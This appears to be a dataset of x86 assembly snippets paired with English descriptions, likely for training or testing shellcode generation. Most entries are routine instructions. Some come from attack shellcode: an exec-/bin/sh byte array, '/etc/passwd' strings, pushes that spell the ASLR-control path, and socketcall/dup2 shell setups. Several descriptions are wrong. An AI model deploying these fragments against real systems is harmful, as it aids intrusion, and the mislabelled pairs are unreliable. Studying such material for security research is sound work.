+loop l2 \n mov ebx, esp	decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else point the ebx register to the stack register
+loop l3 \n mov ecx, esp	decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else move the contents of the esp register into the ecx register
+loop l3 \n mov ecx, esp	decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else point the ecx register to the stack register
+loop l4 \n mov edx, esp	decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else move the contents of the esp register into the edx register
+loop l4 \n mov edx, esp	decrement the ecx register and jump to the l4 label if the contents of the ecx register is not zero else point the edx register to the stack register
+loop main_inc	decrement ecx and jumps to the main_inc label unless decrementing ecx caused its value to become zero
+loop main_inc \n mov ebx, esp	decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register
+loop main_inc \n mov ebx, esp	decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else point the ebx register to the stack register
+loop main_loop	decrement the counter and jump to the main_loop label if the count is not zero
+loop main_push	decrement ecx and jumps to the main_push label unless decrementing ecx caused its value to become zero
+loop main_push \n mov cl, 30	decrement the ecx register and jump to the main_push label if the contents of the ecx register is not zero else move the value 30 into the cl register
+loop ROT_decode \n jmp short Shellcode	decrement the ecx register and jump to the ROT_decode label if the contents of the ecx register is not zero else jump short to the Shellcode label
+loop up	decrement ecx and jumps to the up label unless decrementing ecx caused its value to become zero
+loop:	declare the loop label
+loop:	define the loop label
+loopinghere:	declare the loopinghere label
+loopnz decode	decrement ecx and jumps to the decode label if the contens of ecx is not zero and the zero flag is set to zero
+loopnz L1	decrement the counter and jump to the L1 label if the count is not zero and the zero flag is equal to zero
+loopnz L1 \n jmp shellcode	decrement the ecx register and jump to the L1 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the shellcode label
+loopnz L2	decrement the counter and jump to the L2 label if the count is not zero and the zero flag is set to zero
+loopnz L2 \n push eax	decrement the ecx register and jump to the L2 label if the contents of the ecx register is not zero and the zero flag is zero else push the contents of the eax register onto the stack
+loopnz L3 \n mov edx, 7	decrement the ecx register and jump to the L3 label if the contents of the ecx register is not zero and the zero flag is zero else move the value 7 into the edx register
+loopnz Label1	decrement ecx and jumps to the Label1 label if the contents of the ecx register is not zero and the zero flag is equal to zero
+loopnz next	decrement ecx and jumps to the next label if ecx is not zero and the zero flag is equal to zero
+loopnz next \n jmp ecx	decrement the ecx register and jump to the next label if the contents of the ecx register is not zero and the zero flag is zero else jump to the ecx register
+loopnz next2 \n jmp edi	decrement the ecx register and jump to the next2 label if the contents of the ecx register is not zero and the zero flag is zero else jump to the edi register
+main_inc:	create label main_inc
+main_inc:	declare the main_inc label
+main_loop:	define main_loop label
+main_push:	create label main_push
+main_push:	declare the main_push label
+main:	create main label
+main:	declare the main label
+main:	define main label
+marks dw 0, 0, 0, 0	allocate memory for the marks array of words and initialize all elements to zero
+matrix qw 12*10	allocate memory for a 12*10 quad-bytes matrix
+me:	declare the me label
+me:	define me label
+message db '/bin/sh'	define message byte and initialize it to '/bin/sh'
+message db 'hello',13,0	allocate memory for a null terminated string 'hello\n'
+message db '/bin/sh'	define message as the byte string '/bin/sh'
+message db '/etc/passwd'	define message as the byte string '/etc/passwd'
+message db '/etc/passwd'	define the string message and initialize it to '/etc/passwd'
+message: db 'hello world!'	declare message to contain the bytes 'hello world!'
+message: db 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68	define message as array of bytes and initialize it to 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
+mov [1000h], ax	move the value of ax into memory at address 1000h
+mov [bp+0x07], al	move the contents of the al register at the memory location specified by the operation [bp+0x07]
+mov [bp+0x0a], al	move the contents of the al register at the memory location specified by the operation [bp+0x0a]
+mov [bp+0x31], al	move the contents of the al register at the memory location specified by the operation [bp+0x31]]
+mov [bp+0x32], si	move the contents of the si register at the memory location specified by the operation [bp+0x32]
+mov [bp+0x36], bx	move the contents of the bx register at the memory location specified by the operation [bp+0x36]
+mov [bp+0x3a], bx	move the contents of the bx register at the memory location specified by the operation [bp+0x3a]
+mov [bp+0x3e], ax	move the contents of the ax register at the memory location specified by the operation [bp+0x3e]
+mov [ebp-4], edi	move edi into the local memory address ebp-4
+mov [ebp+12], ecx	move ecx into the address [ebp+12]
+mov [ebp+12], ecx	move the contents of ecx into the memory location specified by the operation [ebp+12]
+mov [ebp+20], zero_reg	move the contents of zero_reg into the memory location specified by the operation [ebp+20]
+mov [ebp+20], zero_reg	move zero_reg into the address [ebp+20]
+mov [ebp+22], word ax	move the word at the address ax into [ebp+22]
+mov [ebp+22], word ax	move the word in ax into the memory location specified by the operation [ebp+22]
+mov [ebp+var_a], eax	move the contents of eax into address defined by ebp+var_a
+mov [ebx + 6], dl	move dl into the address [ebx + 6]
+mov [ebx], 110	move 110 into the effective address saved in ebx
+mov [ebx], 123	move 123 into the effective address saved in ebx
+mov [ebx+0xe], dl	move dl into the address [ebx+0xe]
+mov [ebx+12], eax	move eax into ebx+12
+mov [ebx+7], al	move al into ebx+7
+mov [ebx+8], ebx	move ebx into ebx+8
+mov [ecx], 25	move 25 decimal into the memory address ecx
+mov [ecx+4], eax	move eax into the address [ecx+4]
+mov [edi], al	move al into edi
+mov [edi], al	move the contents of the al register into the edi register
+mov [esi], al	move the contents of the al register into the esi register
+mov [esi+13], al	move al into the address [esi+13]
+mov [esi+22], al	move al into the address [esi+22]
+mov [esi+34], al	move al into the address [esi+34]
+mov [esi+35], esi	move esi into the address [esi+35]
+mov [esi+39], ebx	move ebx into the address [esi+39]
+mov [esi+43], ebx	move ebx into the address [esi+43]
+mov [esi+47], eax	move eax into the address [esi+47]
+mov [esi+eax], cl	move the contents of cl into the byte at memory address esi+eax
+mov [esp + 1], cl	move cl into the address [esp + 1]
+mov [esp+4], esp	move esp into the address [esp+4]
+mov [esp+57], al	move al into the address [esp+57]
+mov [esp+58], ah	move ah into the address [esp+58]
+mov [esp+59], ebx	move ebx into the address [esp+59]
+mov [var], ebx	move the contents of ebx into the 4 bytes at memory address var
+mov [var1], eax	move the contents of eax into the 4 bytes at memory address var1
+mov a_letter, al	move al into memory address a_letter
+mov ah, 0x80	move 0x80 into ah
+mov al, [byte_tbl+2]	move the effective address of byte_tbl+2 to al register
+mov al, [esi]	move the contents of the esi register into the al register
+mov al, 03h	move 03h into al
+mov al, 04h	move 04h into al
+mov al, 05h	move 05h into al
+mov al, 0x01	move 0x01 into al
+mov al, 0x01	move 0x1 into lower byte of the eax register
+mov al, 0x04	move 0x04 into al
+mov al, 0x05	put the syscall 0x5 into the al register
+mov al, 0x06	move 0x06 into al
+mov al, 0x0a	move 0x0a into al
+mov al, 0x0b	move 0x0b into al
+mov al, 0x1	move 0x1 into lower byte of the eax register
+mov al, 0x1	move the value 0x1 into the al register
+mov al, 0x17	move 0x17 into al
+mov al, 0x1f	move 0x1f into al
+mov al, 0x2	put the syscall 0x2 into the al register
+mov al, 0x21	move 0x21 into al
+mov al, 0x2e	move 0x2e into al
+mov al, 0x3	move 0x3 into al
+mov al, 0x30	move 0x30 into al
+mov al, 0x33	move 0x33 into al
+mov al, 0x3f	move 0x3f into al
+mov al, 0x3f	syscall 63
+mov al, 0x4	move 0x4 into al
+mov al, 0x4	move the value 0x4 into the al register
+mov al, 0x42	move 0x42 into al
+mov al, 0x46	move 0x46 into al
+mov al, 0x5	move 0x5 into al
+mov al, 0x5	move the value 0x5 into the al register
+mov al, 0x58	load the syscall value 0x58 for reboot in the al register
+mov al, 0x6	move 0x6 into al
+mov al, 0x66	make the socketcall
+mov al, 0x66	make the systemcall socketcall
+mov al, 0x66	move 0x66 into al
+mov al, 0x66	syscall 102
+mov al, 0x66	system call socketcall
+mov al, 0x7	move 0x7 into al
+mov al, 0x8	put the syscall 0x8 into the al register
+mov al, 0xa2	move 0xa2 into al
+mov al, 0xb	execve system call number 11
+mov al, 0xb	mov 0xb into lower byte of eax
+mov al, 0xb	move 0xb into al
+mov al, 0xb5	move 0xb5 into al
+mov al, 0xcd	move 0xcd into al
+mov al, 0xf	move 0xf into al
+mov al, 1	move 1 into al
+mov al, 1	move the value 1 into the al register
+mov al, 10	transfer the value 10 to the al register
+mov al, 102	move 102 into al
+mov al, 11	move the value 11 into the al register
+mov al, 11	put the syscall 11 into the al register
+mov al, 12	move 12 into al
+mov al, 15	move 15 into lower byte of the eax register
+mov al, 16	move 16 into al
+mov al, 2	move 2 into al
+mov al, 20	move 20 into al
+mov al, 23	move 23 into al
+mov al, 37	move 37 into al
+mov al, 39	move 39 into al
+mov al, 4	move 4 into al
+mov al, 4	store 4 into al
+mov al, 5	move 5 into al
+mov al, 5 \n dec al \n jnz l2	move the value 5 into the al register then decrement the contents of the al register and jump to the l2 label if the result is not zero
+mov al, 54	move 54 into al
+mov al, 6	move 6 into al
+mov al, 61	move 61 into al
+mov al, 63	save 63 into al
+mov al, 66h	move 66h into al
+mov al, 70	move 70 into al
+mov al, 72h	move 72h into al
+mov al, 99	move 99 into al
+mov al, a_letter	move data at memory location a_letter into al
+mov al, byte [digits+eax]	move the effective address of digits+eax into al
+mov al, byte [edi]	move the byte in edi into the al register
+mov al, byte [edx+ecx]	move the effective address edx+ecx into al
+mov al, byte [esi]	move the byte at the address [esi] into al
+mov al, byte [esi]	move the byte in esi into al
+mov al, byte [esi+1+ebp]	move the byte at the memory location specified by the operation [esi+1+ebp] into al
+mov al, byte [esi+ecx]	move a byte from the address esi+ecx into al
+mov al, byte 0bh	move the byte 0bh into al
+mov al, byte 0bh	move the byte at the address 0bh into al
+mov al, byte 0x1	move the byte at the address 0x1 into al
+mov al, byte 2ah	move the byte 2ah into al
+mov al, byte 2ah	move the byte at the address 2ah into al
+mov al, byte 2h	move the byte 2h into al
+mov al, byte 2h	move the byte at the address 2h into al
+mov al, byte 3fh	move the byte 3fh into al
+mov al, byte 3fh	move the byte at the address 3fh into al
+mov al, byte 3h	move the byte 3h into al
+mov al, byte 3h	move the byte at the address 3h into al
+mov al, byte 66h	move the byte 66h into al
+mov al, byte 66h	move the byte at the address 66h into al
+mov al, byte 6h	move the byte 6h into al
+mov al, byte 6h	move the byte at the address 6h into al
+mov al, byte[buff+ecx]	move a byte from the address buff+ecx into al
+mov al, cl	move cl into al
+mov al, close_syscall	move close_syscall into al
+mov al, dl	move dl into al
+mov al, exit_call	move exit_call into al
+mov al, write_syscall	move write_syscall into al
+mov ax, [1000h]	load the object at the address 1000h into the ax register
+mov ax, [di]	copy thevalue at memory address specified by di into ax
+mov ax, [esi]	move esi into ex
+mov ax, [esi]	move the contents of the esi register into the ax register
+mov ax, [my_var]	copy my_var contents in ax
+mov ax, 00	initialize ax to 00
+mov ax, 010ch	move value of 0x010ch into the register ax
+mov ax, 0x167	move 0x167 into ax
+mov ax, 0x169	move 0x169 into ax
+mov ax, 0x16a	move 0x16a into ax
+mov ax, 0x16b	move 0x16b into ax
+mov ax, 0x16c	move 0x16c into ax
+mov ax, 1	move value of 1 into register ax
+mov ax, 102	move 102 into ax
+mov ax, 1666	move 1666 into ax
+mov ax, 45h	transfer the immediate constant 45h to ax
+mov ax, 8h	move 8h into ax
+mov ax, 9	get 9 in the ax
+mov ax, bx	move bx into ax
+mov ax, bx	move the contents of bx into ax
+mov ax, table[esi*4]	move the memory offset table+esi*4 into ax
+mov bh, 0x12	move 0x12 into bh
+mov bh, 0xe2	move 0xe2 into bh
+mov bl, [esi+ecx]	move the contents of memory address esi+ecx into bl
+mov bl, 0bh	move 0bh into bl
+mov bl, 0x01	move 0x01 into bl
+mov bl, 0x02	move 0x02 into bl
+mov bl, 0x04	move 0x04 into bl
+mov bl, 0x1	move 0x1 into bl
+mov bl, 0x1	move the value 0x1 into the bl register
+mov bl, 0x14	move 0x14 into bl
+mov bl, 0x2	move 0x2 into bl
+mov bl, 0x2	move the value 0x2 into the bl register
+mov bl, 0x3	move 0x3 into bl
+mov bl, 0x4	move 0x4 into bl
+mov bl, 0x4	move the value 0x4 onto the stack
+mov bl, 0x5	move 0x5 into bl
+mov bl, 0x5	move the value 0x5 into the bl register
+mov bl, 0x7	move 0x7 into bl
+mov bl, 0x8	move 0x8 into bl
+mov bl, 0x9	move 0x9 into bl
+mov bl, 0xe	move 0xe into bl
+mov bl, 0xff	move 0xff into bl
+mov bl, 1	move 1 into bl
+mov bl, 10	move 10 into bl
+mov bl, 2	move 2 into bl
+mov bl, 3	move 3 into bl
+mov bl, 3 \n dec bl \n jnz l3	move the value 3 into the bl register then decrement the contents of the bl register and jump to the l3 label if the result is not zero
+mov bl, 4	move 4 into bl
+mov bl, 5	store 5 into bl
+mov bl, al \n sub bl, 2 \n jnz loop	move the contents of the al register into the contents of the bl register then subtract the value 2 from the cl register and jump to the loop label if the result is not zero
+mov bl, byte [digits+ebx]	move the byte at address digits+ebx into bl
+mov bl, byte [eax]	move the byte at the address [eax] into bl
+mov bl, byte [eax]	move the byte in eax into bl
+mov bl, byte [edi]	move the byte at the address [edi] into bl
+mov bl, byte [edi]	move the byte in edi into bl
+mov bl, byte [esi + eax + 1]	move the byte starting at the address [esi + eax + 1] into the bl register
+mov bl, byte [esi]	move the byte at the address [esi] into bl
+mov bl, byte [esi]	move the byte in esi into bl
+mov bl, byte [esi+ecx+1]	move the byte at the address [esi+ecx+1] into bl
+mov bl, byte [esi+ecx+1]	move the byte in esi+ecx+1 into bl
+mov bl, byte 0eh	move the byte 0eh into bl
+mov bl, byte 0eh	move the byte at the address 0eh into bl
+mov bl, cl	move cl into bl
+mov bl, dl	move dl into bl
+mov bx, [esi]	move the contents of the esi register into the bx register
+mov bx, 1666	move 1666 into bx
+mov bx, 18	get 18 in the bx register
+mov bx, 20	move the value 20 into bx
+mov bx, word_value	move memory word_value to register bx
+mov byte [eax], dl	move dl into the byte at address [eax]
+mov byte [eax], dl	move dl into the byte in eax
+mov byte [ebx + 35], al	move al into the byte at address [ebx + 35]
+mov byte [ebx], 2	move 2 into the single byte at the address stored in ebx
+mov byte [ecx], 2	move 2 into the single byte at memory location ecx
+mov byte [ecx+92], dl	move dl into the byte at address [ecx+92]
+mov byte [ecx+92], dl	move dl into the single byte at the address stored in ecx+92
+mov byte [edi], bl	move bl into the byte in edi
+mov byte [edi], bl	move the the contents of the bl register into the byte starting at the address in edi
+mov byte [edx + eax], bl	move bl into the byte at address [edx + eax]
+mov byte [edx+eax], bl	move bl into byte edx+eax
+mov byte [edx+ecx],al	move al into the single byte at the address stored in edx+ecx
+mov byte [esi + 1], dl	move dl into the byte at address [esi + 1]
+mov byte [esi + 1], dl	move the contents of dl into the byte at the memory location specified by the operation [esi+1]
+mov byte [esi], al	move al into the byte in esi
+mov byte [esi], bl	move bl into the byte at address [esi]
+mov byte [esi], dl	move dl into the byte in esi
+mov byte [esi+10], al	move al into the byte at address [esi+10]
+mov byte [esi+11], al	move al into the byte at address [esi+11]
+mov byte [esi+12], al	move al into the byte at address [esi+12]
+mov byte [esi+14], al	move al into the byte at address [esi+14]
+mov byte [esi+14],al	move the contents of al into the byte at the memory location specified by the operation [esi+14]
+mov byte [esi+17], al	move al into the byte at address [esi+17]
+mov byte [esi+17],al	move the contents of al into the byte at the memory location specified by the operation [esi+17]
+mov byte [esi+21], al	move al into the byte at address [esi+21]
+mov byte [esi+7], al	move al into the byte at address [esi+7]
+mov byte [esi+ecx], bl	move bl into the byte at address [esi+ecx]
+mov byte [esi+ecx], bl	move bl into the single byte at the address stored in esi+ecx
+mov byte [esp], 0x0a	move 0x0a into the byte at address [esp]
+mov byte [esp], 0x2e	move 0x2e into the byte at address [esp]
+mov byte [esp], 0x2e	move 0x2e into the byte in esp
+mov byte [esp], 0x2f	move 0x2f into the byte at address [esp]
+mov byte [esp], 0x2f	move 0x2f into the byte in esp
+mov byte [esp], 0x7f	move 0x7f into the byte at address [esp]
+mov byte [esp+2], 0x07	move 0x07 into the byte at address [esp+2]
+mov byte [esp+3], 0x01	move 0x01 into the byte at address [esp+3]
+mov byte [esp+3], 0x11	move 0x11 into the byte at address [esp+3]
+mov byte [hexstr+edx+1],bl	move a byte from bl into memory address hexstr+edx+1
+mov byte [hexstr+edx+2],al	move a byte from al into memory address hexstr+edx+2
+mov byte [var], 5	store the value 5 into the byte at memory location var
+mov byte al, 0x0b	move 0x0b into the byte at address al
+mov byte al, 0x3f	move 0x3f into the byte at address al
+mov byte al, 0x3f	move 0x3f into the byte in al
+mov byte al, 0xa4	move 0xa4 into the byte at address al
+mov byte al, 0xa4	move 0xa4 into the byte in al
+mov byte al, 11	move 11 into the byte at address al
+mov byte al, 83	move 83 into the byte at address al
+mov byte cl, 7	move 7 into the byte at address cl
+mov ch, 0x4	move 0x4 into ch
+mov cl, 0102	move 0102 into cl
+mov cl, 077o	move 077o into cl
+mov cl, 0x1	move 0x1 into cl
+mov cl, 0x1e	move 0x1e into cl
+mov cl, 0x2	move 0x2 into cl
+mov cl, 0x2	move the value 0x2 into the cl register
+mov cl, 0x3	move 0x3 into cl
+mov cl, 10 \n dec cl \n jnz l1	move the value 10 into the cl register then decrement the contents of the cl register and jump to the l1 label if the result is not zero
+mov cl, 100	move 100 into cl
+mov cl, 128	move 128 into cl
+mov cl, 13	move 13 into cl
+mov cl, 2	move 2 into cl
+mov cl, 21	move 21 into cl
+mov cl, 3	move 3 into cl
+mov cl, 30	move 30 into cl
+mov cl, 30	move 30 to the cl register
+mov cl, 32	move 32 into cl
+mov cl, 9	move 9 into cl
+mov cl, al	move al into cl
+mov cl, bl \n sub cl, 1 \n jnz loop	move the contents of the bl register into the contents of the cl register then subtract the value 1 from the cl register and jump to the loop label if the result is not zero
+mov cl, byte [eax]	move the byte at the address [eax] into cl
+mov cl, byte [eax]	move the byte in eax into cl
+mov cl, byte [esi]	move the byte at the address [esi] into cl
+mov cl, byte [esi]	move the byte in esi into cl
+mov cl, byte_table[2]	move the 3rd element of the array byte_table into cl
+mov cl, byte_table+2	move the 3rd element of the byte_table into cl
+mov cl, len	move len into cl
+mov cl, shellcode_length	move shellcode_length into cl
+mov cl, shellcodelen	move shellcodelen into cl
+mov count, bx	move bx to count
+mov cx, [esi]	move the contents of the esi register into the cx register
+mov cx, 01	initialize cx to 01
+mov cx, 02001	move 02001 into cx
+mov cx, 0666	move 0666 into cx
+mov cx, 0700	move 0700 into cx
+mov cx, 0x191	move 0x191 into cx
+mov cx, 0x1ff	move 0x1ff into cx
+mov cx, 0x2bc	move 0x2bc into cx
+mov cx, 0x301	move the value 0x301 into the cx register
+mov cx, 0x3b30	mov the value 0x3b30 into the cx register
+mov cx, 0x401	move 0x401 into cx
+mov cx, 0x5309	move 0x5309 into cx
+mov cx, 0x9ed	move 0x9ed into cx
+mov cx, 0xfff	move 0xfff into cx
+mov cx, 2001	move 2001 into cx
+mov cx, 2001Q	move 2001Q into cx
+mov cx, word_table + 3	move the 4th element of the word_table into cx
+mov cx, word_table[3]	move the 4th element of the array word_table into cx
+mov dh, 0x35	move 0x35 into dh
+mov dh, 0xff	move 0xff into dh
+mov dl, 0x01	move 0x01 into dl
+mov dl, 0x02	move 0x02 into dl
+mov dl, 0x09	move 0x09 into dl
+mov dl, 0x1	move 0x1 into dl
+mov dl, 0x10	move 0x10 into dl
+mov dl, 0x1c	move 0x1c into dl
+mov dl, 0x2	move 0x2 into dl
+mov dl, 0x20	move 0x20 into dl
+mov dl, 0x7f	move 0x7f into dl
+mov dl, 0xc	move 0xc into dl
+mov dl, 0xd	move 0xd into dl
+mov dl, 0xff	move 0xff into dl
+mov dl, 1+0feh	move 1+0feh into dl
+mov dl, 93	move 93 into dl
+mov dl, byte [eax + 1]	move the byte at the address [eax + 1] into dl
+mov dl, byte [eax + 1]	move the byte at the memory location specified by the operation [eax+1] into dl
+mov dl, byte [eax]	move the byte at the address [eax] into dl
+mov dl, byte [eax]	move the byte in eax into dl
+mov dl, byte [esi + 1]	move the byte at the address [esi + 1] into dl
+mov dl, byte [esi + 1]	move the singl byte at the memory location speicified by the operation [esi+1] into dl
+mov dl, byte [esi]	move the single byte in esi into dl
+mov dl, byte 0ffh	move the byte 0ffh into dl
+mov dl, byte 0ffh	move the byte at the address 0ffh into dl
+mov dl, len	move the contents stored at the address len into the dl register
+mov dl,0x14	move 0x14 into dl
+mov dword [eax], var1	copy the value in var1 into the doubleword starting at the address in eax
+mov dword [ebx], 2	move the 32-bit integer representation of 2 into the doubleword starting at the address in ebx
+mov dword [ebx], 4	move the 32-bit integer representation of 4 into the doubleword starting at address ebx
+mov dword [esi + 12], eax	move eax into the dword at address [esi + 12]
+mov dword [esi + 8], ebx	move ebx into the dword at address [esi + 8]
+mov dword [esp-0x10], 0x5f657a69	move the value 0x5f657a69 into the double word starting at the address [esp-0x10]
+mov dword [esp-0x14], 0x6d6f646e	move the value 0x6d6f646e into the double word starting at the address [esp-0x14]
+mov dword [esp-0x18], 0x61722f6c	move the value 0x61722f6c into the double word starting at the address [esp-0x18]
+mov dword [esp-0x1c], 0x656e7265	move the value 0x656e7265 into the double word starting at the address [esp-0x1c]
+mov dword [esp-0x20], 0x6b2f7379	move the value 0x6b2f7379 into the double word starting at the address [esp-0x20]
+mov dword [esp-0x24], 0x732f636f	move the value 0x732f636f into the double word starting at the address [esp-0x24]
+mov dword [esp-0x28], 0x72702f2f	move the value 0x72702f2f into the double word starting at the address [esp-0x28]
+mov dword [esp-0x4], eax	move the contents of the eax into the double word starting at the address [esp-0x4]
+mov dword [esp-0x8], 0x65636170	move the value 0x65636170 into the double word starting at the address [esp-0x8]
+mov dword [esp-0xc], 0x735f6176	move the value 0x735f6176 into the double word starting at the address [esp-0xc]
+mov dword [esp-12], 0x6374652f	move 0x6374652f into the dword at address [esp-12]
+mov dword [esp-12], 0x6374652f	move 0x6374652f into the dword at the memory location [esp-12]
+mov dword [esp-4], ecx	move ecx into the doubleword starting at the address esp-4
+mov dword [esp-4], esi	move esi into the doubleword starting at the address esp-4
+mov dword [esp-4], esi	move esi into the dword at address [esp-4]
+mov dword [esp-4], esi	move the contents of the esi register into the dword at the memory location [esp-4]
+mov dword [esp-8], 0x68732f2f	move 0x68732f2f into the dword at address [esp-8]
+mov dword [esp-8], 0x68732f2f	move 0x68732f2f into the dword at the memory location [esp-8]
+mov dword [esp-8], edi	move edi into the doubleword starting at the address esp-8
+mov dx, 0x1a4	move 0x1a4 into dx
+mov dx, 0x2a1	move the value 0x2a1 into the dx register
+mov dx, 0xb01	move 0xb01 into dx
+mov dx, 1222	move 1222 into dx
+mov dx, 132	move 132 into dx
+mov dx, 16666	move 16666 into dx
+mov eax, _start	move _start into eax
+mov eax, [ebp+8]	move value of memory address [ebp+8] into eax
+mov eax, [ebx]	move the 4 bytes in memory at the address contained in ebx into eax
+mov eax, [ebx+8]	copy the 4 byte at memory location specified by the the result of the operation ebx+8 into eax register
+mov eax, [ebx+epi*4+2]	move the contents of memory address ebx+epi*4+2 into eax
+mov eax, [ebx+esi]	move the contents of memory address ebx+esi into eax
+mov eax, [ebx+esi*2+4]	move the contents of memory address ebx+esi*2+4 into eax
+mov eax, [esi-4]	move 4 bytes at memory address esi-4 into eax
+mov eax, [esp]	move the contents of memory address esp into eax
+mov eax, [esp+4]	move the value of register at address esp+4 and store into eax
+mov eax, [temp]	move the contents at memory specified by temp into eax
+mov eax, [temp1]	move the contents at memory address temp1 to eax
+mov eax, [x]	move the contents at memory specified by x to eax
+mov eax, [y]	move the contents at memory address y to eax
+mov eax, [y]	move the contents at memory specified by y to eax
+mov eax, [z]	move the contents at memory specified by z to eax
+mov eax, 0ah	move 0ah into eax
+mov eax, 0ah	move an ascii linefeed character into eax
+mov eax, 0ah	move linefeed character into eax
+mov eax, 0x2e323931	move 0x2e323931 into eax
+mov eax, 0x2e383631	move 0x2e383631 into eax
+mov eax, 0x2f3e20	move 0x2f3e20 into eax
+mov eax, 0x2f766564	move 0x2f766564 into eax
+mov eax, 0x31263e32	move 0x31263e32 into eax
+mov eax, 0x33392e31	move 0x33392e31 into eax
+mov eax, 0x3f	move 0x3f into eax
+mov eax, 0x5	move 5 into eax
+mov eax, 0x50905090	move 0x50905090 into eax
+mov eax, 0x563ed8b7	move 0x563ed8b7 into eax
+mov eax, 0x66	move 0x66 into eax
+mov eax, 0x6c6c756e	move 0x6c6c756e into eax
+mov eax, 0x782f2f	move 0x782f2f into eax
+mov eax, 0x8000	move the 32-bit value 0x8000 into register eax
+mov eax, 0x8b90909d	move 0x8b90909d into eax
+mov eax, 0x969d8cd0	move 0x969d8cd0 into eax
+mov eax, 0x9a8dd091	move 0x9a8dd091 into eax
+mov eax, 0xb33fb33f	move 0xb33fb33f into eax
+mov eax, 0xdeadc0de	move 0xdeadc0de into eax
+mov eax, 0xfeffff80	move 0xfeffff80 into eax
+mov eax, 0xffffffff	move 0xffffffff into eax
+mov eax, 1	code for exit syscall
+mov eax, 1	exit
+mov eax, 1	invoke sys_exit
+mov eax, 1	make the system call exit
+mov eax, 1	make the system call for exit
+mov eax, 1	make the system call to terminate the process
+mov eax, 1	move 1 into eax
+mov eax, 1	move the value one into eax
+mov eax, 1	specify exit syscall
+mov eax, 1	system call exit
+mov eax, 1	terminate the process
+mov eax, 10	invoke sys_unlink
+mov eax, 10	move 10 into eax
+mov eax, 10000h	move 10000h into eax register
+mov eax, 102	invoke sys_socketcall
+mov eax, 106	get information about the file
+mov eax, 106	make the system call stat
+mov eax, 106	make the system call to get information about the file
+mov eax, 106	stat
+mov eax, 106	system call stat
+mov eax, 11	execve
+mov eax, 11	invoke sys_execve
+mov eax, 11	load and run the program
+mov eax, 11	make the system call execve
+mov eax, 11	make the system to load and run the program
+mov eax, 11	system call execve
+mov eax, 13	invoke sys_time
+mov eax, 132	move 132 to eax 132
+mov eax, 19	go to file offset
+mov eax, 19	invoke sys_lseek
+mov eax, 19	lseek
+mov eax, 19	make the system call lseek
+mov eax, 19	make the system call to go to the file offset
+mov eax, 19	system call lseek
+mov eax, 2	create a new process
+mov eax, 2	fork
+mov eax, 2	invoke sys_fork
+mov eax, 2	make the system call fork
+mov eax, 2	make the system call to create a new process
+mov eax, 2	move the value two into eax
+mov eax, 2	system call fork
+mov eax, 20	get the process ID
+mov eax, 20	getpid
+mov eax, 20	make the system call getpid
+mov eax, 20	make the system call to get the process ID
+mov eax, 20	system call getpid
+mov eax, 21	get 21 in the eax register
+mov eax, 27	alarm
+mov eax, 27	make the system call alarm
+mov eax, 27	make the system call to set set signal delivery alarm clock
+mov eax, 27	set signal delivery alarm clock
+mov eax, 27	system call alarm
+mov eax, 29	make the system call pause
+mov eax, 29	make the system call to suspend the process
+mov eax, 29	pause
+mov eax, 29	suspend the process until the signal arrives
+mov eax, 29	system call pause
+mov eax, 3	invoke sys_read
+mov eax, 3	make the system call read
+mov eax, 3	make the system call to read the file
+mov eax, 3	move 3 to the eax register
+mov eax, 3	read
+mov eax, 3	read the file
+mov eax, 3	specify sys_read call
+mov eax, 3	system call read
+mov eax, 37	kill
+mov eax, 37	make the system call kill
+mov eax, 37	make the system call to send the signal to another process
+mov eax, 37	send signal to another process
+mov eax, 37	system call kill
+mov eax, 4	invoke sys_write
+mov eax, 4	make the system call for write
+mov eax, 4	make the system call to write to the file
+mov eax, 4	make the system call write
+mov eax, 4	move 4 into eax
+mov eax, 4	move 4 to the eax register
+mov eax, 4	specify sys_write call
+mov eax, 4	specify sys_write syscall
+mov eax, 4	system call write
+mov eax, 4	write
+mov eax, 4	write to the file
+mov eax, 48	install signal handel
+mov eax, 48	make the system call signal
+mov eax, 48	make the system call to install the signal handler
+mov eax, 48	signal
+mov eax, 48	system call signal
+mov eax, 5	invoke sys_open
+mov eax, 5	make the system call open
+mov eax, 5	make the system call to open the file
+mov eax, 5	open
+mov eax, 5	open the file
+mov eax, 5	system call open
+mov eax, 6	close
+mov eax, 6	close the file
+mov eax, 6	invoke sys_close
+mov eax, 6	make the system call close
+mov eax, 6	make the system call to close the file
+mov eax, 6	system call close
+mov eax, 63	copy file descriptor
+mov eax, 63	dup2
+mov eax, 63	make the system call dup2
+mov eax, 63	make the system call to copy the file descriptor
+mov eax, 63	system call dup2
+mov eax, 64	get the parent process ID
+mov eax, 64	getppid
+mov eax, 64	make the system call getppid
+mov eax, 64	make the system call to get the parent process ID
+mov eax, 64	system call getppid
+mov eax, 65	get process group
+mov eax, 65	getpgrp
+mov eax, 65	make the system call getpgrp
+mov eax, 65	make the system call to get the process group
+mov eax, 65	system call getpgrp
+mov eax, 67	install portable signal handler
+mov eax, 67	make the system call sigaction
+mov eax, 67	make the system call to install portable signal handler
+mov eax, 67	sigaction
+mov eax, 67	system call sigaction
+mov eax, 7	make the system call to wait for child for terminate
+mov eax, 7	make the system call waitpid
+mov eax, 7	system call waitpid
+mov eax, 7	wait for child to terminate
+mov eax, 7	waitpid
+mov eax, 8	invoke sys_creat
+mov eax, 90	make the system call mmap
+mov eax, 90	make the system call to map the memory page to a file
+mov eax, 90	map the memory page to a file
+mov eax, 90	mmap
